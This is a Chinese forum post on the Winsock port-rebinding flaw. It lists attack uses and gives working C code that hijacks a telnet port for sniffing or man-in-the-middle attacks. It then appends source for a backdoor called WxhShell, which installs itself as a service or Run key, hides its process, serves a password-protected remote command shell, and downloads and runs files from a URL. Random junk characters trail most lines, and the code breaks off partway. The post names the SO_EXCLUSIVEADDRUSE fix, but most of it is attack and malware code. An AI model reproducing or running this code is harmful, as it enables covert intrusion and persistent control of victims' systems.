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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vLke,MKW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ya. $x~  
u<8Q[_E&  
  saddr.sin_family = AF_INET; &q U[ wn:1  
:U*[s$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fr?eOigbl  
C[pDPx,#:G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MQ+ek4  
3edAI&a5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Iu[EUi!"  
f LW>-O73  
  这意味着什么?意味着可以进行如下的攻击: 6:!fyia  
ZJpI]^9|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F,zJdJ  
|<V{$),k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9mnON~j5  
 ;E&XFTdO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mOB\ `&h5  
Lv4=-mWv&0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  CQ`(,F3(  
J53;w:O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~V&ReW/  
'YG`/@n;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5Z[ D(z  
J$Q-1fjj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 EyeLC6u  
T82_`u  
  #include YZ>cE#  
  #include g)9/z  
  #include O,{ (  
  #include    #J!? :(m:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GN<I|mGLJK  
  int main() 8z CAy@u  
  { 3KKe4{oG  
  WORD wVersionRequested; T42g4j/l~  
  DWORD ret; twtDyo(\  
  WSADATA wsaData; ,fw[J  
  BOOL val; H1[aNwLr  
  SOCKADDR_IN saddr; zi ,Rk.  
  SOCKADDR_IN scaddr; agYK aM1N  
  int err; K9q~Vf  
  SOCKET s; :t qjm:  
  SOCKET sc; $-RhCnE  
  int caddsize; 9zyN8v2  
  HANDLE mt; Mb>XM7}PU  
  DWORD tid;   ="DgrH  
  wVersionRequested = MAKEWORD( 2, 2 ); ttnXEF  
  err = WSAStartup( wVersionRequested, &wsaData ); 3(:mRb}  
  if ( err != 0 ) { ?5Fj]Bk]  
  printf("error!WSAStartup failed!\n"); 0Nu]N)H5<l  
  return -1; Cf7\>U->  
  } x\rZoF.NQ  
  saddr.sin_family = AF_INET; UjaC( c  
    ~^S-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z aF0nov  
}WbN)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Bkc-iC}F  
  saddr.sin_port = htons(23); XV>6;!=E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4m*(D5Y=|  
  { 8j}m\^si  
  printf("error!socket failed!\n"); $D5U#  
  return -1; h+UscdU l  
  } l8-jFeeMd  
  val = TRUE; k)py\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |^Es6 .~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2M?lgh4"  
  { .;b> T  
  printf("error!setsockopt failed!\n"); uKy*N*}  
  return -1; 6iG<"{/U5  
  } ib_Gy77Os  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; kPH^X}O$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v8Zg og)V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  >Gu0&  
,NEs{! T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ugB{2oqi  
  { i =N\[&  
  ret=GetLastError(); -y?Z}5-rs  
  printf("error!bind failed!\n"); h'~- K`  
  return -1; !yX<v%>_0  
  } >U<nEnB$?  
  listen(s,2); 0JNOFX  
  while(1) )VMBo6:+  
  { -ZP&zOsDr  
  caddsize = sizeof(scaddr); %g&,]=W\N  
  //接受连接请求 b3xkJ&Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j/D)UWkR  
  if(sc!=INVALID_SOCKET) \`&pk-uW  
  { P(epG?Qg  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ib \[ ~rg  
  if(mt==NULL) Wk?|BR]O  
  { N[bN"'U/1  
  printf("Thread Creat Failed!\n"); eC?/l*gF 3  
  break; &ZN'Ey?  
  } 0:'jU  
  } /K) b0QX  
  CloseHandle(mt); yZp:hs#  
  } nn L$m_K~  
  closesocket(s); ok s=|'&  
  WSACleanup(); _]UDmn[C  
  return 0; 9*;isMkq<  
  }   ;jU-<  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6 ]PM!6  
  { m5w9l"U]H  
  SOCKET ss = (SOCKET)lpParam; Nf'dT;s.N  
  SOCKET sc; (D m"e`  
  unsigned char buf[4096]; Y@H,Lk  
  SOCKADDR_IN saddr; I`W-RWZ  
  long num; D?}m h1#  
  DWORD val; yvWzc uL#  
  DWORD ret; 0DB<hpC:5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _MbVF>JOx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v^W?o}W  
  saddr.sin_family = AF_INET; IIQ3|eZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); urXb!e{l  
  saddr.sin_port = htons(23); CS5jJi"pD3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {]\uR-a(o  
  { N~5WA3xd  
  printf("error!socket failed!\n"); HwW[M[qA  
  return -1; u45h{i-e  
  } G^rh*cb K  
  val = 100; qH%L"J  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5u)^FIBj  
  { N~}v:rK>g  
  ret = GetLastError(); V\K m% vP  
  return -1; n5k^v $'  
  } }gi1?a59  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "gN*J)!x  
  { p (xD/E  
  ret = GetLastError(); _jrA?pY  
  return -1; \kV7NA  
  } uP{+?#a_-\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tw4am.o1]  
  { }'V'Y[  
  printf("error!socket connect failed!\n"); |g\.5IM#W  
  closesocket(sc); |<3Q+EB^  
  closesocket(ss); K;y\[2;}e,  
  return -1; OpbT63@L  
  } J4Z<Yt/  
  while(1) k[ffs}  
  { :qCm71*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x|v[Dxf]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }8V;s-1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H]i+o6  
  num = recv(ss,buf,4096,0); _UBJPb@=U  
  if(num>0) ^dUfTG9{  
  send(sc,buf,num,0); p=-B~:  
  else if(num==0) F*4Qa  
  break; F0BOhlK  
  num = recv(sc,buf,4096,0); |T$a+lHMD  
  if(num>0) eW"x%|/Q7  
  send(ss,buf,num,0); D;^ZWz0  
  else if(num==0) )| Vg/S  
  break; >b4YbLkI#  
  } $: 4mOl  
  closesocket(ss); >OKS/(I0  
  closesocket(sc); &FJU%tFA  
  return 0 ; }GN kB  
  } R5NRCI  
7<R6T9g  
n$hqNsM  
========================================================== HV*:<2P%D  
vN0L( B  
下边附上一个代码,,WXhSHELL `FYtiv?G  
Ng."+&  
========================================================== o^_W$4Fc  
L^5&GcHP0  
#include "stdafx.h" 1(:b{Bl  
3d#9Wyxs  
#include <stdio.h> @dE 3  
#include <string.h> dS3>q<J*a  
#include <windows.h> r\l3_t  
#include <winsock2.h> e<L 9k}c  
#include <winsvc.h> Pa +AF  
#include <urlmon.h> #"o6OEy$A#  
gQI(=in  
#pragma comment (lib, "Ws2_32.lib") tv@Z 5  
#pragma comment (lib, "urlmon.lib") DV7<n&P  
6"7:44O;G  
#define MAX_USER   100 // 最大客户端连接数 (!_X:+0_  
#define BUF_SOCK   200 // sock buffer s=q%:uCO  
#define KEY_BUFF   255 // 输入 buffer sxN>+v11z  
l${Hgn+  
#define REBOOT     0   // 重启 h=v[i!U-eY  
#define SHUTDOWN   1   // 关机 _cxm}*}\#  
%;=IMMK  
#define DEF_PORT   5000 // 监听端口 Imh2~rw;  
PUQ_w  
#define REG_LEN     16   // 注册表键长度 vGPf`2/j.  
#define SVC_LEN     80   // NT服务名长度 K'iS#i7  
bG5^h  
// 从dll定义API fz<|+(_>J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EBj,pk5M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XDP6T"h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2rR@2Vsw2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?b*/ddIs  
EaM"=g  
// wxhshell配置信息 1*!c X  
struct WSCFG { dr,B\.|jC  
  int ws_port;         // 监听端口 D% v:PYf  
  char ws_passstr[REG_LEN]; // 口令 8`AcS|k  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yn IM-  
  char ws_regname[REG_LEN]; // 注册表键名 {*M>X}voS  
  char ws_svcname[REG_LEN]; // 服务名 `eMrP`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1BMV=_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0^<Skm27"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~!3t8Hx6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [0%yJH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;I!+ lx3[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pg*?[^*  
abTDa6 /`v  
}; |aI|yq)  
g33<qYxP  
// default Wxhshell configuration XI%RneuDr:  
struct WSCFG wscfg={DEF_PORT, +X* F<6mZ  
    "xuhuanlingzhe", 0%h [0jGj  
    1, ; d, JN  
    "Wxhshell", KA|&Q<<{@  
    "Wxhshell", xE G+%Uk{  
            "WxhShell Service", |MOn0 *  
    "Wrsky Windows CmdShell Service", 3t"~F%4-}  
    "Please Input Your Password: ", nR,Qm=;  
  1, <O,'5+zG%  
  "http://www.wrsky.com/wxhshell.exe", ++Rdv0~  
  "Wxhshell.exe" 3JlC/v#0  
    }; T=eT^?v  
k8InbX[  
// 消息定义模块 2|0Je^$|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Eonq'Re$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %K&+~CJE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %mK3N2N$  
char *msg_ws_ext="\n\rExit."; l]a^"4L4`o  
char *msg_ws_end="\n\rQuit."; F9m2C'U  
char *msg_ws_boot="\n\rReboot..."; ql!5m\  
char *msg_ws_poff="\n\rShutdown..."; p/ziFpU  
char *msg_ws_down="\n\rSave to "; '\ph`Run  
8_^'(]  
char *msg_ws_err="\n\rErr!"; -vv   
char *msg_ws_ok="\n\rOK!"; $:%*gY4~76  
!7:EE,W~  
char ExeFile[MAX_PATH]; ]iz_w`I\  
int nUser = 0; q=P f^Xp  
HANDLE handles[MAX_USER]; 652uZ};e  
int OsIsNt; [5]R?bQ0q{  
4&FNU)tt  
SERVICE_STATUS       serviceStatus; 07$/]eO%C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |QnUK5D$  
Qv&T E3  
// 函数声明 ax-=n(   
int Install(void); ^;V}l?J_s  
int Uninstall(void); T4V[R N  
int DownloadFile(char *sURL, SOCKET wsh); 96.IuwL*.s  
int Boot(int flag);  4 "pS  
void HideProc(void); C $]5l; `  
int GetOsVer(void); U -Af7qO  
int Wxhshell(SOCKET wsl); KW&nDu t  
void TalkWithClient(void *cs); M,b<B_$  
int CmdShell(SOCKET sock); W9 n^T+2  
int StartFromService(void); ~fyF&+ibp'  
int StartWxhshell(LPSTR lpCmdLine); Nf=C?`L  
)x$!K[=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y-E1]4?})  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z7'n, [  
]sX7%3P  
// 数据结构和表定义 a='IT 5  
SERVICE_TABLE_ENTRY DispatchTable[] = z{_mEE49  
{ 20 jrv'f  
{wscfg.ws_svcname, NTServiceMain}, S 3{Dn  
{NULL, NULL} 98D{{j92  
}; X?KGb{  
k)$iK2I  
// 自我安装 =ied}a :[  
int Install(void) /'-:=0a  
{ !&@2  
  char svExeFile[MAX_PATH];  K&j' c  
  HKEY key; z `\# $  
  strcpy(svExeFile,ExeFile); rDpe_varA  
f?2zLE>u  
// 如果是win9x系统,修改注册表设为自启动 vg+r?4Q3  
if(!OsIsNt) { pO\ S#GnX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o&CghF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b0r,h)R  
  RegCloseKey(key); Ro$j1Aw(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |C~Sr#6)7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jFgZ}Xp  
  RegCloseKey(key); 4qqF v?O[r  
  return 0; x2sN\tOh^  
    } 2;&mkc K'  
  } u=(H#o<#  
} t@X M /=d  
else { 3wV86tH%  
TAXd,z N  
// 如果是NT以上系统,安装为系统服务 F?!FD>L{`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BfX%|CWh  
if (schSCManager!=0) 0Wa#lkn$I  
{ j1'\R+4U  
  SC_HANDLE schService = CreateService CoKiQUW  
  ( gBMta+<fE~  
  schSCManager, 7^c2e*S  
  wscfg.ws_svcname, kJ/+IGV^v  
  wscfg.ws_svcdisp, eT;AAGql  
  SERVICE_ALL_ACCESS, 1UC2zM"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6(:)otz  
  SERVICE_AUTO_START, 4+)Z k$E  
  SERVICE_ERROR_NORMAL, D5=C^`$2  
  svExeFile, fW(;   
  NULL, *zJD$+Fo  
  NULL, 0rV/qMo;K  
  NULL, 2q+la|1Cr  
  NULL, :RPVT,O}  
  NULL ,Yo: &>As  
  ); x<8\-  
  if (schService!=0) t9ER;.e  
  { SO7(K5H,  
  CloseServiceHandle(schService); fv:L\N1u  
  CloseServiceHandle(schSCManager); 3)dP7rmZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cvxIp#FbW  
  strcat(svExeFile,wscfg.ws_svcname); L+_8QK<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r~I.F!{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RvWFF^,.  
  RegCloseKey(key); $,!hD\a  
  return 0; JAN|aCzD  
    } ,Ie<'>hd  
  } tzZ|S<e6=\  
  CloseServiceHandle(schSCManager); eDuX"/kHA  
} Bhj:9%`  
} &.hoC Po$  
S 9WawI  
return 1; Lg8 ]dBXu  
} 2ed@HJu  
d"Bo8`_  
// 自我卸载 ?.8<-  
int Uninstall(void) DQcWq'yY^  
{ r|M'TA~:  
  HKEY key; JW-|<CJ  
X!o@f$  
if(!OsIsNt) { bH_I7G&m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fTTm$,f5N  
  RegDeleteValue(key,wscfg.ws_regname);  j|ozGO  
  RegCloseKey(key); [;<<4k(nL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wI*Y{J  
  RegDeleteValue(key,wscfg.ws_regname); hX&-/fF+f  
  RegCloseKey(key); #0(fOHPQ  
  return 0; CK=ARh#|  
  } Vfb<o"BQk  
} /GyEVCc  
} o94P I*.  
else { Ohc^d"[7  
hRk,vB ]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _<XgC\4O|  
if (schSCManager!=0) cFw3Iw"JJ  
{ B+|IZoR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %,XI]+d  
  if (schService!=0) ^+EMZFjg(  
  { g2A"1w<-AH  
  if(DeleteService(schService)!=0) { D_Guc8*  
  CloseServiceHandle(schService); >cTjA):  
  CloseServiceHandle(schSCManager); R^uc%onP  
  return 0; rj}(muM,R  
  } D6Dn&/>Zp  
  CloseServiceHandle(schService); 1PmX." a  
  } f0OgK<.>T  
  CloseServiceHandle(schSCManager); :fhB*SYK  
} *aI~W^N3  
} 3XnE y +  
# 9V'';:  
return 1; ZH!;z-R  
} }H5/3be  
Y4`QK+~fH  
// 从指定url下载文件 V>AS%lXj  
int DownloadFile(char *sURL, SOCKET wsh) JfSdUWxT  
{ {b[tA, >  
  HRESULT hr; ~C0 Pu.{o  
char seps[]= "/";  Ll?g.z"  
char *token; E3bwyK!s  
char *file; EPv%LX_j  
char myURL[MAX_PATH]; b1 H7  
char myFILE[MAX_PATH]; Xty# vI  
|J\,F.{'  
strcpy(myURL,sURL); /;7ID41  
  token=strtok(myURL,seps); ]?M)NRk%S  
  while(token!=NULL) .5 ]{M\aA  
  { 4'` C1a  
    file=token; jK e.gA  
  token=strtok(NULL,seps); _%;M9Sg3  
  } 3hLqAj  
72u db^  
GetCurrentDirectory(MAX_PATH,myFILE); UP?D@ogl<  
strcat(myFILE, "\\"); j6H R&vIM  
strcat(myFILE, file); xuF5/(__  
  send(wsh,myFILE,strlen(myFILE),0); g [AA,@p+  
send(wsh,"...",3,0); >r=6A   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1!d)PK>1$  
  if(hr==S_OK) VJ*\pM@no  
return 0; $ 3]b>v  
else tGC2 ^a#~  
return 1; brfKd]i  
Ms,@t^nk  
} >J>>\Y(p  
lAz2%s{6  
// 系统电源模块 P sp^@  
int Boot(int flag) .x>HA^4  
{ %OEq,Tb  
  HANDLE hToken; FZH-q!"^cK  
  TOKEN_PRIVILEGES tkp; Ajg\aof0{  
uS&LG#a  
  if(OsIsNt) { 0`6),R'x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jAZ >mo[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1g~y]iQ  
    tkp.PrivilegeCount = 1; A*Rn<{U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o_(0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7pP+5&*  
if(flag==REBOOT) { 95[wM6?J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bb}?h]a   
  return 0; IqNpLh|[  
} $e*B:}x}  
else { k8 u%$G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m9woredS,  
  return 0; >gnF]<  
} qfa}3k8et  
  } W"|mpxp  
  else { 8?kP*tmcZ  
if(flag==REBOOT) { =},{8fZ4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4T%cTH:.9N  
  return 0; 3(C :X1  
} _F^$aZt?e  
else { 2uEhOi0I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bQ"N ;d)e  
  return 0; 6< >SHw  
} Ch7Egz l7?  
} i%MA"I\9  
`zY!`G  
return 1; DRp&IP<  
} gvGi %gq  
c_Tzyh7l4  
// win9x进程隐藏模块 Qm; BUG]  
void HideProc(void) 7OE[RX8!f  
{ $o"g73`3  
SOs,)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rd">JEK;;  
  if ( hKernel != NULL ) rw]yKH  
  { .yX>.>"T|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |AC6sfA+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `.[ 8$  
    FreeLibrary(hKernel); P.h.M A]  
  } ?&xlT+JM  
K#wK1 Sv  
return; 5j`v`[B;  
} Yg&` U^7]B  
z&>|*C.Y  
// 获取操作系统版本 5uttv:@=  
int GetOsVer(void) :/i~y$t  
{ r@yD8D \  
  OSVERSIONINFO winfo; ami09JHy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dkw*Je#6PX  
  GetVersionEx(&winfo); Z\'wm'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PtqGX=u  
  return 1; 8 URj1 W  
  else `s%QeAde  
  return 0; / gu3@@h  
} !UcOl0"6  
e3g_At\  
// 客户端句柄模块 /BKtw8  
int Wxhshell(SOCKET wsl) ]4o?BkL  
{ oq. r\r  
  SOCKET wsh; a,cC!   
  struct sockaddr_in client; ~&KX-AC@  
  DWORD myID; '?8Tx&}U8  
# 66e@  
  while(nUser<MAX_USER) 2( _=SfQ  
{ -njQc:4W,-  
  int nSize=sizeof(client); ;ctU&`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;cLUnsB\  
  if(wsh==INVALID_SOCKET) return 1; 3~<}bee5|q  
i. M2E$b|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G0/>8_Q>Nr  
if(handles[nUser]==0) akCIa'>t  
  closesocket(wsh); (u9Zk~)F  
else PQ3h\CL1n  
  nUser++; dyO E6Ex  
  } s:b" \7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qtY m!g  
\8>oJR 6  
  return 0; 6c &Y  
} Yf= FeH7"  
(bvoF5%  
// 关闭 socket nB&j   
void CloseIt(SOCKET wsh) R04J3D|  
{ SK-W%t  
closesocket(wsh); @[v8}D  
nUser--; @RVOXkVo  
ExitThread(0); !+KhFC&Py  
} e T-9  
{(Fe7,.S3  
// 客户端请求句柄 Jn#K0( FQ  
void TalkWithClient(void *cs) ] D6|o5  
{ lkwh'@s.  
{g_@Tuu  
  SOCKET wsh=(SOCKET)cs; ;{Jb6'K1h  
  char pwd[SVC_LEN]; ^mfjn-=3  
  char cmd[KEY_BUFF]; <[<247%  
char chr[1]; u(2BQO7  
int i,j; w~LU\Ct  
y<*-tZV[  
  while (nUser < MAX_USER) { %Rarr  
n|C|&  
if(wscfg.ws_passstr) { o_rtH|ntX5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6pm~sD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j|(:I:]  
  //ZeroMemory(pwd,KEY_BUFF); v|&s4x?D  
      i=0; N"1 QX6  
  while(i<SVC_LEN) { Q.ukY@L.'  
4U{m7[  
  // 设置超时 O] ZC+]}/  
  fd_set FdRead; q~O>a0f0  
  struct timeval TimeOut; 75AslL?t  
  FD_ZERO(&FdRead); 5 0Ad,mn<  
  FD_SET(wsh,&FdRead); FW Y[=S  
  TimeOut.tv_sec=8; JJ-i_5\q  
  TimeOut.tv_usec=0; (}jL_E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <+q$XL0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); enumK\  
K(3&27sGN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P^zy;Qs7  
  pwd=chr[0]; A{(T'/~"  
  if(chr[0]==0xd || chr[0]==0xa) { 41}/w3Z4  
  pwd=0; DxfMqH[vs  
  break; YxyG\J\|,  
  } ANb"oX c  
  i++; N9`97;.X  
    }  Q; 20T  
*8UYSA~v  
  // 如果是非法用户,关闭 socket yoU2AMH2D^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1R^4C8*B  
} c[:Wf<% |  
t:T?7-XIE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Nb1J ~v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oyW00]ka  
4By]vd<;=  
while(1) { @woC8X  
h>W@U9  
  ZeroMemory(cmd,KEY_BUFF); %)JRbX<c  
Nf5WQTa4  
      // 自动支持客户端 telnet标准   GoD ?KC  
  j=0; 4E'|.tt(  
  while(j<KEY_BUFF) { k>>`fE\K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \ 3G*j`  
  cmd[j]=chr[0]; X:{WZs"[x  
  if(chr[0]==0xa || chr[0]==0xd) { ]1}h8/  
  cmd[j]=0; r=$gT@  
  break; WIG=D{\Yx  
  } Azn:_4O  
  j++; VA2<r(y~(  
    } fYn{QS?  
Q S;F+cmTh  
  // 下载文件 B{PLIisc  
  if(strstr(cmd,"http://")) { 9P0yv3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  f`J|>Vk  
  if(DownloadFile(cmd,wsh)) g}r^Xzd;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Snx<]|  
  else  #>bT<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X HQh4W3  
  } LzE/g)>  
  else { $iHoOYx]<  
ZqP7@fO_%  
    switch(cmd[0]) { #TATqzA  
  MWhwMj!:m  
  // 帮助 1|/'"9v  
  case '?': { Rf:<-C0T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J#(,0h  
    break; _.=`>%,  
  } [TEcg^  
  // 安装 Z(UD9wY5m  
  case 'i': { 4|F#gK5E  
    if(Install()) 8 }z3CuM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^jOCenE 3  
    else G4m4k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &-4 ?!  
    break; ~},~c:fF?  
    } 9FNwpL'C  
  // 卸载 @>:i-5  
  case 'r': { df ?eL2v  
    if(Uninstall()) OHhs y|W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^W}MM8 '  
    else eJ:Yj ~X`<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NQR^%<hU  
    break; OAVQ`ek  
    } 1MV@5j  
  // 显示 wxhshell 所在路径 !;+U_j'Pg  
  case 'p': { (H1lqlVWV#  
    char svExeFile[MAX_PATH]; sX5sL  
    strcpy(svExeFile,"\n\r"); 2Y;!$0_rv  
      strcat(svExeFile,ExeFile); Aqu]9M~  
        send(wsh,svExeFile,strlen(svExeFile),0); R+F,H`  
    break; >-zkB)5<,#  
    } M5 `m.n<  
  // 重启 ^]7,1dH}M  
  case 'b': { Qg>0G%cXU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4Cd#sQ  
    if(Boot(REBOOT)) QPV@'.2m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Y(^F bs  
    else { RM#fX^)=  
    closesocket(wsh); zLK\I~rU!  
    ExitThread(0); @p6@a6N%  
    } %yvA   
    break; J&_3VKrN  
    } 6qDfcs  
  // 关机 |lE-&a$xd  
